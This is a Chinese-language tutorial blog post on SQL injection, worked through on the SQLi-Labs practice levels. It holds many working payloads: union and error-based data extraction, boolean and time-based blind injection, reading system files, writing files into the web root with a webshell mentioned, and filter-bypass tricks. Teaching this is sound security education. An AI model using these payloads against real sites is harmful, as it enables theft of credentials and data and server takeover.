OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)

文章目录

  • OWASP Top 10
    • 一、概述
      • 1. 简述
      • 2. 版本
    • 二、SQL注入
      • 1. 漏洞简介
        • 1)漏洞原理
        • 2)分类
        • 3)mysql数据库相关知识
      • 2. 漏洞检测
      • 3. SQLi-Labs环境搭建
    • 三、GET基于报错的sql注入
      • 1. 注入点判断
      • 2. 使用联合查询
        • 2.1 获取字段数
        • 2.2 获取版本&数据库名
        • 2.3 获取数据库表名
        • 2.4 获取表中字段
        • 2.5 获取字段的内容
      • 3. GET报错注入
        • 3.1 group by 重复键冲突
          • 1. 报错原理
          • 2. 报错公式
        • 3.2 XPATH报错
          • 1. updatexml()
          • 2. extractvalue()
    • 四、盲注
      • 1. 基于布尔型的盲注
      • 2. 基于时间的盲注注入
    • 五、POST基于报错的sql注入
    • 六、SQL注入漏洞读写文件
      • 1. 读文件
      • 2. 写文件
    • 七、其他注入手法
      • 1. 宽字节注入
      • 2. cookie注入
      • 3. base64注入
      • 4. HTTP头部注入
        • 4.1 User-Agent注入
        • 4.2 Referer注入
    • 八、sql注入绕过手段
        • 1. 绕过去除注释符
        • 2. 绕过and和or
        • 3. 绕过空格
        • 4. 绕过union和select

OWASP Top 10

一、概述

1. 简述

OWASP(开放式Web应用程序安全项目)的工具、文档、论坛和全球各地分会都是开放的,对所有致力于改进应用程序安全的人士开放,其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。

2. 版本

2017版提供pdf格式下载:http://www.owasp.org.cn/owasp-project/2017-owasp-top-10

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第1张图片

二、SQL注入

1. 漏洞简介

是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作。

危害:

欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,导致数据泄露;

获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库);

在特别情况下还可以修改数据库内容或者插入内容到数据库;

如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

1)漏洞原理

通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。

1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

  • 注入点可能存在的位置
    根据SQL注入漏洞的原理,在用户“可控参数”中注入SQL语法,也就是说Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能,通常包括:GET数据、POST数据、HTTP头部(HTTP 请求报文其他字段)、Cookie数据…

2)分类

  1. 从数据类型分类来看,SQL注入分为数字型和字符型。

数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括;字符型注入正好相反。

  1. 根据注入手法分类,大致可分为以下几个类别。
  • UNION query SQL injection ( 可联合查询注入),联合查询
  • Error-based SQL injection (报错型注入),报错注入
  • Boolean-based blind SQL injection (布尔型注入),布尔盲注
  • Time-based blind SQL injection (基于时间延迟注入),延时注入
  • Stacked queries SQL injection (可多语句查询注入),堆叠查询

3)mysql数据库相关知识

  1. 注释
# 注释
-- 注释
/*
注释
*/
/*!
内联查询
*/
  1. mysqL元数据库数据库:information_schema
    存放库名、表名、字段名等。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第2张图片

  1. 运算符
# 不等于
select 1<>1    # 返回0
select 1<>2    # 返回1
# and  or
select true and false  # 返回0
select true or true    # 返回1

在SQL语句中逻辑运算与(and) 比或(or)的优先级高。

  1. 函数

substr(‘截取的字符串’,起始位置从1开始计数,截取的长度);
substring();
mid();

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第3张图片

left();从字符串左侧截取字符

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第4张图片
concat();连接字符串

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第5张图片

ord();转化为ASCII码

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第6张图片

rand();

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第7张图片

if(条件,true时返回的结果,false返回的结果,);

2. 漏洞检测

使用一些后台扫描工具,扫描出可能存在sql注入的连接,如login页面等。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第8张图片

3. SQLi-Labs环境搭建

  1. SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景。
  2. 下载地址:https://github.com/Audi-1/sqli-labs
  3. 下载完后修改数据库密码:sqli-labs-master\sql-connections\db-creds.inc

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第9张图片

三、GET基于报错的sql注入

1. 注入点判断

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠等来探测URL中是否存在注入点。

  1. 变换id参数

当我们变换id参数的时候,发现同一个页面展现出不同的内容,即数据库中的内容会回显到网页中来。

初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的内容。

初步猜测后台执行的SQL语句大致结构为:select * from tbName where id=1;

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第10张图片
OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第11张图片

  1. 注入单引号

http://localhost/PHP/sqli-labs-master/Less-1/?id=1',页面报错,并且报错信息会回显在网页中,报错信息如下:

在这里插入图片描述
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

分析一下:near ''1'' LIMIT 0,1' at line 1 ,单引号引起来的是错误内容即 '1'' LIMIT 0,1,发现 '1'后面多了一个单引号,所以我们原来猜想的sql语句:select * from tbName where id='1'; 所以此注入点是字符型注入

  1. 注入双引号

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第12张图片

  1. 是否存在延时注入

id=1' and sleep(5) --+

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第13张图片

结果响应请求为6000多毫秒即6秒多,存在延时注入。

2. 使用联合查询

  1. 由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入,就是SQL语法中的 union select 语句,该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接:select ~~ union select ~~,由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表,实现跨库、跨表查询。

  2. 必要条件
    两张虚拟的表具有相同的列数;虚拟表对应的列的数据类型相同

2.1 获取字段数

  1. 使用[order by]语句来判断当前select语句所查询的虚拟表的列数。[order by]语句本意是按照某一列进行排序,在mysql中可以使用数字来代替具体的列名,比如[order by 1] 就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错[Unknown column]。

方法:依次增加数字,直到数据库报错。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第14张图片

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第15张图片

当我们order by 4时,报错了,说明当前select语句所查询的虚拟表的列数为3。

  1. order by 如果不能使用可以选择null:?id=1' union select null,null,null,null --+

页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL语句:
?id=1' and 1=2 union select 1,2,3 --+,或 ?id=-1' union select 1,2,3 --+,结果发现2,3有回显内容:

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第16张图片

2.2 获取版本&数据库名

将回显字段替换为version(),database()

?id=1' and 1=2 union select 1,version(),database() --+

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第17张图片

查询结果:版本号为5.5.53,数据库名为security。

2.3 获取数据库表名

利用联合查询从系统的information_ schema.tables查询:

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第18张图片

这里可能会报错:Illegal mix of collations for operation 'UNION',这里是编码问题,可以将group_concat(table_name),使用ord()转换为ASCII码,然后解码获得表名,也可以使用hex()转换为16进制,然后解码即可获得。

从获得的表名可以推断,管理员账号密码可能存在于users表中。

2.4 获取表中字段

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=users --+

由于表名是一个字符串,所以我们需要将users转换为16进制,即:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第19张图片

发现表中的三个字段:id、username、password

2.5 获取字段的内容

获取用户名、密码:
?id=-1 union select 1,concat(username,password),3 from users --+

在这里插入图片描述

后台的密码可能是md5加密的需要解密即可获得。

3. GET报错注入

当查找注入点时发现所有的id都显示同一页面,闭合后也显示同页面,无法使用上述的GET基于报错的注入方法,此时需要在注入点的判断过程中将数据库中SQL语句的报错信息,回显在页面中;

报错注入的原理:就是在错误信息中执行SQL语句.

3.1 group by 重复键冲突

1. 报错原理

关于group by聚合函数的报错,是MySQL的一个bug 编号为#8652。当使用rand()函数进行分组聚合时,会产生重复键的错误。
参考连接:https://bugs.mysql.com/bug.php?id=8652

测试bug:
1)创建数据库、表、插入测试数据

create database groupbyTest;
create table r1 (a int);
insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第20张图片

2)使用 select left(rand(),3),a from r1 group by 1;
group by 1:按照第一个字段进行分类聚合,由于rand所以每次执行结果不同。
OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第21张图片

3)select left(rand(),3),a,count(*) from r1 group by 1; 重复条目报错信息。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第22张图片

sql语句解析过程:

  1. FROM
    from后面的表标识了这条语句要查询的数据源,from过程之后会形成一个虚拟的表VT1。
  2. WHERE
    WHERE对vT1过程中生成的临时表进行过滤,满足where子句的列被插入到VT2。
  3. GROUP BY
    GROUP BY会把VT2生成的表按照GROUP BY中的列进行分组,生成VT3。
  4. HAVING
    HAVING这个子句对VT3表中的不同分组进行过滤,满足HAVING条件的子句被加入到VT4表中。
  5. SELECT
    SELECT这个子句对SELECT子句中的元素进行处理,生成VT5表。
    1)计算表达式,计算SELECT子句中的表达式,生成VT5-1;
    2)DISTINCT寻找VT5-1 表中重复的列,并删掉,生成VT5-2;
    3)TOP从ORDER BY子句定义的结果中,筛选出符合条件的列,生成VT5-3。
  6. ORDER BY
    从VT5-3中的表,根据ORDER BY子句的结果进行排序,生成VT6。

所以重复键冲突的原因就是:group by执行rand时和select执行rand时值大概率不一样。

2. 报错公式
  1. 网传版本
?id=1' and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

在这里插入图片描述

  1. 简化版本
?id=1' union select 1,2,concat(left(rand(),3),'^',(select version()),'^')a,count(*),5,6,7,8 from information_schema.tables group by a --+
# ^ 中间就是查询的信息 ^
# a 给concat语句起的别名
  1. 如果关键表被禁用,可使用下面语句
select concat('^',version(),'^',floor(rand()*2))x,count(*) from(select 1 union select null union select !1)a group by x --+
  1. 如果rand、count被禁用
select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2) --+
  1. 不用额外的函数和表:
select min(@a:=1) from(select 1 union select null union select !1)a group by concat('^',@@version,'^',@a:= (@a+1)%2) --+

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第23张图片

3.2 XPATH报错

使用函数updatexml()或extractvalue()。

1. updatexml()

updatexml(XML_document,XPath_string,new_value)
具有查询功能在XPath_string处查询。

第一个参数: XML_document是String格式,为XML文档对象的名称;
第二个参数: XPath_string (Xpath格式的字符串);
第三个参数: new_value,String格式,替换查找到的符合条件的数据。

如果将参数2语法构造错误,它就会将查询的结果已报错的形式显示出来。

?id=1' and updatexml(1,concat('^',(select database()),'^'),1) --+
2. extractvalue()
  • extractvalue(XML_document,XPath_string)
    对XML文档进行查询的函数,相当于我们熟悉的HTML文件中用

将参数2语法构造错误,它就会将查询的结果已报错的形式显示出来。

?id=1' and extractvalue(1,concat('^',(select version()),'^')) --+

四、盲注

BlindSQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。

1. 基于布尔型的盲注

  1. 是否存在布尔型注入

id=1' and 1=1 --+

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第24张图片

id=1' and 1=2 --+

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第25张图片

结果:两次页面状态不一样,说明存在布尔类型状态。

  1. 原理

利用页面返回的布尔类型状态,页面回显正常或者不正常。

  • 获取数据库名
    1)第一步判断数据库名长度,根据页面是否正常回显
?id=1' and length(database())>20 --+
# 回显不正常页面
?id=1' and length(database())>10 --+
# 回显不正常页面
?id=1' and length(database())>5 --+
# 回显不正常页面
?id=1' and length(database())=3 --+
# 回显正常页面

可以断定,当前数据库名的长度为3。

2)第二步判断数据库名,截取数据库名的第一个字母,开始匹配ascii值

?id=1' and ascii(substr(database(),1,1))=99 --+
# 页面正常回显

由此可知数据库名的第一个字母的ascii码为99,即是字母c。

2. 基于时间的盲注注入

  1. 原理
    利用sleep()语句的延时性,以时间线作为判断条件。

  2. 获取数据库名

  • 第一步获取数据库名长度,使用if函数,当你判断正确时页面延迟5秒
?id=1' and if(length(database())=1,sleep(5),1) --+
  • 第二步数据库名,截取数据库名的第一个字母,开始匹配ascii值,当你判断正确时页面延迟5秒
?id=1' and if((ascii(substr(database(),2,1))=109),sleep(5),1) --+

由此可知,数据库名第二个字母的ASCII码值为109,即是字母m。

五、POST基于报错的sql注入

和GET相比,POST注入点发生了变化,我们需要借助bp抓包判断。

  1. 以sqli-libs第11关演示

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第26张图片

bp抓包,在uname处注入一个单引号:

在这里插入图片描述

报错信息为 123456' LIMIT 0,1 ,判断其sql语句可能为:

SELECT username, password FROM 表名 WHERE username='uname' and password='passwd' LIMIT 0,1"

注入万能语句,成功登录:

在这里插入图片描述

六、SQL注入漏洞读写文件

我们也可以利用SQL注入漏洞读写文件,但是读写文件需要一定的条件。

1. 读文件

  1. 变量:secure-file-priv
# secure-file-priv 参数配置含义
secure-file-priv=           不对mysqld的导入导出操作做限制
secure-file-priv='c:/a/'    限制mysqld的导入导出操作发生在c:/a/下(子目录有效)
secure-file-priv=null       限制mysqld不允许导入导出操作(默认)

在phpmyadmin中查看该变量(默认为null),该参数在高版本的mysql数据库中限制了文件的导入导出操作。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第27张图片

改参数可以写在my. ini配置文件中[mysqld]下。若要配置此参数,需要修改my. ini配置文件,并重启mysql服务。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第28张图片

修改成功:

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第29张图片

  1. 当前用户具有文件权限
    查询语句:select File_priv from mysql.user where user="root" and host="localhost";

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第30张图片

  1. 读取文件
?id=-1 union select 1,load_file('C:/Windows/System32/drivers/etc/hosts'),3 --+

得到host文件内容:
OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第31张图片

2. 写文件

?id=-1 union select 1,'',3 into outfile "e:\\phpstudy\\www\\sqlTest.php" --+

直接传入参数,页面如果不报错,说明写入成功。可以直接访问写入的文件http://Localhost/sqlTest.php:

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第32张图片

可以写入一个php一句话木马:$_REQUEST包含了$_GET、$_POST、$_COOKIE的所有内容,是它们的集合体。

七、其他注入手法

1. 宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况,以SQLi-labs 32关为例。

使用 ?id=1' 进行测试的时候,发现提交的单引号会被转移 \' 。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL语句的结构,不能得到回显的报错信息。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第33张图片

将提交的参数改为:?id=1%df'

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第34张图片

注释掉原来sql中的单引号(闭合语句):?id=1%df' and 1=2 union select 1,version(),3 --+

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第35张图片

为什么加了 %df 会不转义单引号了呢?

通过阅读32关的源码,发现此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第36张图片

GBK编码范围: 8140- FEFE,转移字符 \ 的编码是5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK编码的汉字。这样SQL语句传入数据库的时候,转移字符5c,会被看作GBK汉字的低位字节编码,从而失去转义的作用。

就像我们提交的参数 ?id=1000%df' union select 1,2,3 --+,就可以使用联合查询进行注入了。此时的 0xdf5c 就是一个汉字"運"。

df是大家比较常用的十六进制编码的字符,你也可以用81或其他的,只要在GBK编码范围内都合理。

2. cookie注入

以SQLi-labs 20关为例。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第37张图片
OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第38张图片

bp抓包结果:

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第39张图片

修改cookie,注入单引号,从报错信息可知为字符型注入:

在这里插入图片描述

注释掉原来sql中的单引号后,页面正常:

在这里插入图片描述

使用报错注入:Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1) #

在这里插入图片描述

3. base64注入

base64注入是将注入字段经过base64编码。

这里可能页面会有错误显示:Warning:date(),建议将php.ini的时区改为:date.timezone = Asia/shanghai。

以SQLI-labs第21关为例。

bp抓包得到cookie信息:

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第40张图片

这里的:RHVtYg%3D%3D,%3D%3D是url编码,即==,我们将RHVtYg== Base64解码即:Dumb。

  1. 注入单引号,将Dumb’ 编码为64base:RHVtYic=

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第41张图片

报错信息为:'Dumb'') LIMIT 0,1,所以存在闭合和分页问题。

  1. 报错注入
    由于存在闭合和分页,我们需要引入闭合并注释掉分页

Dumb') and updatexml(1,concat(0x5e,database(),0x5e),1) # 编码为Base64得:

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第42张图片

源代码:


$cookee = base64_decode($cookee);  # base64编码
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
?>

报错注入后sql语句变为:

SELECT * FROM users WHERE username=('Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1)) #') LIMIT 0,1

4. HTTP头部注入

http头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer等。

4.1 User-Agent注入

以SQLi-labs第18关。

bp抓包得到User-Agent信息:

在这里插入图片描述

  1. 单引号注入

在这里插入图片描述

结果:报错信息为 '192.168.40.1','Dumb')' ,存在闭合和后缀。

  1. 报错注入

消除闭合,注释后缀,结果还是报错,说明 '192.168.40.1','Dumb')' 不能直接注释掉,因为sql中有三个参数(uagent、IP、name)

然后报错注入:hello' and updatexml(1,concat(0x5e,database(),0x5e),1) and '1'='1 ,成功注入获得信息:

在这里插入图片描述

sql语句源代码:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

报错注入后sql语句变为:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('hello' and updatexml(1,concat(0x5e,database(),0x5e),1)  and '1'='1', '$IP', $uname)

4.2 Referer注入

以sqli-libs19关为例。

bp抓包得到Referer信息:

在这里插入图片描述

  1. 引入单引号注入
    报错信息为:192.168.40.1')
  2. 错误注入
    hello' and updatexml(1,concat(0x5e,database(),0x5e),1)) #

在这里插入图片描述

八、sql注入绕过手段

  1. 大小写绕过
    如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。

例如:

  • and过滤:当然这种过滤只是发现关键字出现,并不会对关键字处理;通过修改关键字内字母大小写来绕过过滤措施,如: AnD 1=1
  • order by过滤:在进行探测当前表的字段数时使用order by数字进行探测。如果过滤了order,可以使用OrdER来进行绕过。
  1. 双写绕过
    如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了以此替换。就是将关键字替换为对应的空。

  2. 编码绕过
    可以利用网络中的URL在线编码,绕过SQL注入的过滤机制。
    站长之家:http://tool.chinaz.com/Tools/urlencode.aspx

  3. 内联注释绕过
    在MySQL中内联注释的内容会被当作SQL语句执行。

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第43张图片

1. 绕过去除注释符

有的代码中会将注释符使用函数使注释符失效,如使用preg_replace

执行一个正则表达式的搜索和替换
preg_replace(mixed $pattern,mixed $replacement,mixed $subject)

$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组
$subject:要搜索替换的目标字符串或字符串数组

如代码:

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

sqli-labs第23关

原来我们先闭合再注释即可:

SELECT * FROM users WHERE id='?id=1' and 1=2 union select 1,version(),3 --+' LIMIT 0,1

但由于注释失效,所以sql语句最后的单引号还存在,所以需要:
?id=-1' union select 1,version(),'3

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第44张图片

2. 绕过and和or

  1. 大小写变形:Or、OR、oR、OR、And、ANd、aND等代码中大小写不敏感都被剔除;
  2. 在这两个敏感词汇中添加注释,例如: a/**/nd;
  3. 双写绕过
  4. 利用符号替代
and -- &&
or --  ||

sqli-libs第25关

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第45张图片

3. 绕过空格

编码: hex、urlencode、空格URL编码%0a、%09、TAB键(水平)
%0a:新建一行
%0c:新的一页
%0d:return功能
%0b:TAB键(垂直)

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第46张图片

4. 绕过union和select

%09表示空格、||表示or、union/select 大小写、双写绕过。
?id=-1%27%09%09uniOn%09SelEcT%091,2,3%091|%09%271

sqli-labs第27关

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第47张图片

union 被过滤!

OWASP TOP 10(一)SQL注入(漏洞介绍、分类、报错注入、盲注、延时注入、宽字节、cookie、base64、HTTP头部注入、绕过手段)_第48张图片

你可能感兴趣的:(渗透测试,#,OWASP,TOP,10)